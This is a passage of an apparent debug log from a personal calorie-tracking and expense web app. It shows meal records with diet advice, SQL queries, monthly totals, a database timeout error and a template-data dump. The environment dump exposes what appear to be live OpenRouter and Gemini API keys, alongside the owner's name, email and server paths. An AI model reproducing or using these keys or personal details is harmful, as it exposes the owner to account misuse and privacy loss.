    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  },
  {
    id: 427,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T04:40:11.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 428,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Herbal tea (0 calories),Tea with skim milk (lower fat, slightly lower calories)',
    created_at: '2025-12-17T05:11:01.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, the protein content is beneficial.'
  }
]
2025-12-17T10:41:29.595Z server-connect:app Executing action step setvalue
2025-12-17T10:41:29.595Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T10:41:29.595Z server-connect:output var_total: 1196
2025-12-17T10:41:29.595Z server-connect:app Executing action step setvalue
2025-12-17T10:41:29.595Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T10:41:29.595Z server-connect:output var_consumed: 50
2025-12-17T10:41:29.595Z server-connect:app Executing action step setvalue
2025-12-17T10:41:29.595Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T10:41:29.595Z server-connect:output var_deficit: 1204
2025-12-17T10:41:29.595Z server-connect:app Executing action step custom
2025-12-17T10:41:29.595Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T10:41:29.595Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T10:41:29.596Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
    bad_points: [
      'Limited variety in protein sources.',
      'Potential for higher carbohydrate content in the main meal.',
      'Fiber intake could be increased.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Incorporation of fruits like banana and papaya.',
      'Adequate hydration throughout the day.',
      'Reasonable meal distribution.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
      'Add more vegetables to your sabzi or include a side salad for increased fiber.',
      'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
      'Ensure consistent protein intake across all meals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T10:41:29.597Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1196',
    surplus_or_deficit: '1204',
    status_flag: 2
  }
]
2025-12-17T10:41:29.599Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T10:41:30.210Z server-connect:app Executing action step identify
2025-12-17T10:41:30.210Z server-connect:app options: { provider: 'security' }
2025-12-17T10:41:30.210Z server-connect:output identity: 1
2025-12-17T10:44:35.110Z server-connect:app Executing action step identify
2025-12-17T10:44:35.111Z server-connect:app options: { provider: 'security' }
2025-12-17T10:44:35.111Z server-connect:output identity: 1
2025-12-17T10:44:38.648Z server-connect:app Executing action step identify
2025-12-17T10:44:38.648Z server-connect:app options: { provider: 'security' }
2025-12-17T10:44:38.648Z server-connect:output identity: 1
2025-12-17T10:44:44.652Z server-connect:app Executing action step identify
2025-12-17T10:44:44.652Z server-connect:app options: { provider: 'security' }
2025-12-17T10:44:44.652Z server-connect:output identity: 1
2025-12-17T10:44:45.983Z server-connect:app Executing action step identify
2025-12-17T10:44:45.983Z server-connect:app options: { provider: 'security' }
2025-12-17T10:44:45.983Z server-connect:output identity: 1
2025-12-17T10:45:02.232Z server-connect:app Executing action step identify
2025-12-17T10:45:02.232Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:02.232Z server-connect:output identity: 1
2025-12-17T10:45:03.668Z server-connect:app Executing action step identify
2025-12-17T10:45:03.668Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:03.668Z server-connect:output identity: 1
2025-12-17T10:45:33.033Z server-connect:app Executing action step identify
2025-12-17T10:45:33.033Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:33.034Z server-connect:output identity: 1
2025-12-17T10:45:35.974Z server-connect:app Executing action step identify
2025-12-17T10:45:35.974Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:35.974Z server-connect:output identity: 1
2025-12-17T10:45:38.403Z server-connect:app Executing action step identify
2025-12-17T10:45:38.403Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:38.403Z server-connect:output identity: 1
2025-12-17T10:45:48.800Z server-connect:app Executing action step identify
2025-12-17T10:45:48.800Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:48.800Z server-connect:output identity: 1
2025-12-17T10:45:55.102Z server-connect:app Executing action step identify
2025-12-17T10:45:55.102Z server-connect:app options: { provider: 'security' }
2025-12-17T10:45:55.102Z server-connect:output identity: 1
2025-12-17T10:46:04.955Z server-connect:app Executing action step identify
2025-12-17T10:46:04.955Z server-connect:app options: { provider: 'security' }
2025-12-17T10:46:04.955Z server-connect:output identity: 1
2025-12-17T10:46:20.743Z server-connect:app Executing action step identify
2025-12-17T10:46:20.744Z server-connect:app options: { provider: 'security' }
2025-12-17T10:46:20.744Z server-connect:output identity: 1
2025-12-17T10:46:23.216Z server-connect:app Executing action step identify
2025-12-17T10:46:23.216Z server-connect:app options: { provider: 'security' }
2025-12-17T10:46:23.217Z server-connect:output identity: 1
2025-12-17T10:46:32.290Z server-connect:app Executing action step identify
2025-12-17T10:46:32.290Z server-connect:app options: { provider: 'security' }
2025-12-17T10:46:32.290Z server-connect:output identity: 1
2025-12-17T10:46:32.485Z server-connect:app Executing action step identify
2025-12-17T10:46:32.485Z server-connect:app options: { provider: 'security' }
2025-12-17T10:46:32.485Z server-connect:output identity: 1
2025-12-17T10:47:21.484Z server-connect:app Executing action step identify
2025-12-17T10:47:21.484Z server-connect:app options: { provider: 'security' }
2025-12-17T10:47:21.484Z server-connect:output identity: 1
2025-12-17T10:47:22.003Z server-connect:app Executing action step identify
2025-12-17T10:47:22.003Z server-connect:app options: { provider: 'security' }
2025-12-17T10:47:22.003Z server-connect:output identity: 1
2025-12-17T10:48:41.799Z server-connect:app Executing action step identify
2025-12-17T10:48:41.799Z server-connect:app options: { provider: 'security' }
2025-12-17T10:48:41.799Z server-connect:output identity: 1
2025-12-17T10:48:52.092Z server-connect:app Executing action step identify
2025-12-17T10:48:52.092Z server-connect:app options: { provider: 'security' }
2025-12-17T10:48:52.092Z server-connect:output identity: 1
2025-12-17T10:56:19.794Z server-connect:app Executing action step identify
2025-12-17T10:56:19.794Z server-connect:app options: { provider: 'security' }
2025-12-17T10:56:19.794Z server-connect:output identity: 1
2025-12-17T10:56:21.849Z server-connect:app Executing action step identify
2025-12-17T10:56:21.849Z server-connect:app options: { provider: 'security' }
2025-12-17T10:56:21.849Z server-connect:output identity: 1
2025-12-17T10:56:28.969Z server-connect:app Executing action step identify
2025-12-17T10:56:28.969Z server-connect:app options: { provider: 'security' }
2025-12-17T10:56:28.969Z server-connect:output identity: 1
2025-12-17T10:56:29.503Z server-connect:app Executing action step identify
2025-12-17T10:56:29.504Z server-connect:app options: { provider: 'security' }
2025-12-17T10:56:29.504Z server-connect:output identity: 1
2025-12-17T11:01:56.346Z server-connect:app Executing action step identify
2025-12-17T11:01:56.346Z server-connect:app options: { provider: 'security' }
2025-12-17T11:01:56.346Z server-connect:output identity: 1
2025-12-17T11:01:58.089Z server-connect:app Executing action step identify
2025-12-17T11:01:58.089Z server-connect:app options: { provider: 'security' }
2025-12-17T11:01:58.089Z server-connect:output identity: 1
2025-12-17T11:07:23.226Z server-connect:app Executing action step identify
2025-12-17T11:07:23.226Z server-connect:app options: { provider: 'security' }
2025-12-17T11:07:23.226Z server-connect:output identity: 1
2025-12-17T11:07:24.396Z server-connect:app Executing action step identify
2025-12-17T11:07:24.396Z server-connect:app options: { provider: 'security' }
2025-12-17T11:07:24.396Z server-connect:output identity: 1
2025-12-17T11:13:16.166Z server-connect:app Executing action step identify
2025-12-17T11:13:16.166Z server-connect:app options: { provider: 'security' }
2025-12-17T11:13:16.166Z server-connect:output identity: 1
2025-12-17T11:13:43.325Z server-connect:app Executing action step identify
2025-12-17T11:13:43.325Z server-connect:app options: { provider: 'security' }
2025-12-17T11:13:43.325Z server-connect:output identity: 1
2025-12-17T11:16:09.568Z server-connect:app Executing action step identify
2025-12-17T11:16:09.568Z server-connect:app options: { provider: 'security' }
2025-12-17T11:16:09.569Z server-connect:output identity: 1
2025-12-17T11:16:11.833Z server-connect:app Executing action step identify
2025-12-17T11:16:11.834Z server-connect:app options: { provider: 'security' }
2025-12-17T11:16:11.834Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 11:30:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 11:30:06' as DATETIME)"
}
2025-12-17T11:41:14.423Z server-connect:app Executing action step identify
2025-12-17T11:41:14.424Z server-connect:app options: { provider: 'security' }
2025-12-17T11:41:14.424Z server-connect:output identity: 1
2025-12-17T11:41:17.147Z server-connect:app Executing action step identify
2025-12-17T11:41:17.147Z server-connect:app options: { provider: 'security' }
2025-12-17T11:41:17.147Z server-connect:output identity: 1
2025-12-17T11:51:07.226Z server-connect:app Executing action step identify
2025-12-17T11:51:07.227Z server-connect:app options: { provider: 'security' }
2025-12-17T11:51:07.227Z server-connect:output identity: 1
2025-12-17T11:51:09.750Z server-connect:app Executing action step identify
2025-12-17T11:51:09.750Z server-connect:app options: { provider: 'security' }
2025-12-17T11:51:09.751Z server-connect:output identity: 1
2025-12-17T12:17:46.238Z server-connect:app Executing action step identify
2025-12-17T12:17:46.238Z server-connect:app options: { provider: 'security' }
2025-12-17T12:17:46.239Z server-connect:output identity: 1
2025-12-17T12:17:48.872Z server-connect:app Executing action step identify
2025-12-17T12:17:48.873Z server-connect:app options: { provider: 'security' }
2025-12-17T12:17:48.873Z server-connect:output identity: 1
2025-12-17T12:49:53.242Z server-connect:app Executing action step identify
2025-12-17T12:49:53.242Z server-connect:app options: { provider: 'security' }
2025-12-17T12:49:53.243Z server-connect:output identity: 1
2025-12-17T12:49:55.922Z server-connect:app Executing action step identify
2025-12-17T12:49:55.923Z server-connect:app options: { provider: 'security' }
2025-12-17T12:49:55.923Z server-connect:output identity: 1
2025-12-17T12:55:32.240Z server-connect:app Executing action step identify
2025-12-17T12:55:32.240Z server-connect:app options: { provider: 'security' }
2025-12-17T12:55:32.240Z server-connect:output identity: 1
2025-12-17T12:55:33.875Z server-connect:app Executing action step identify
2025-12-17T12:55:33.875Z server-connect:app options: { provider: 'security' }
2025-12-17T12:55:33.875Z server-connect:output identity: 1
2025-12-17T13:01:51.227Z server-connect:app Executing action step identify
2025-12-17T13:01:51.227Z server-connect:app options: { provider: 'security' }
2025-12-17T13:01:51.227Z server-connect:output identity: 1
2025-12-17T13:01:52.911Z server-connect:app Executing action step identify
2025-12-17T13:01:52.911Z server-connect:app options: { provider: 'security' }
2025-12-17T13:01:52.911Z server-connect:output identity: 1
2025-12-17T13:02:29.392Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T13:02:29.392Z server-connect:app Executing action step identify
2025-12-17T13:02:29.392Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:29.393Z server-connect:output identity: 1
2025-12-17T13:02:29.393Z server-connect:app Executing action step restrict
2025-12-17T13:02:29.393Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T13:02:29.395Z server-connect:output restrict: undefined
2025-12-17T13:02:29.395Z server-connect:router Render template layouts/main
2025-12-17T13:02:29.395Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
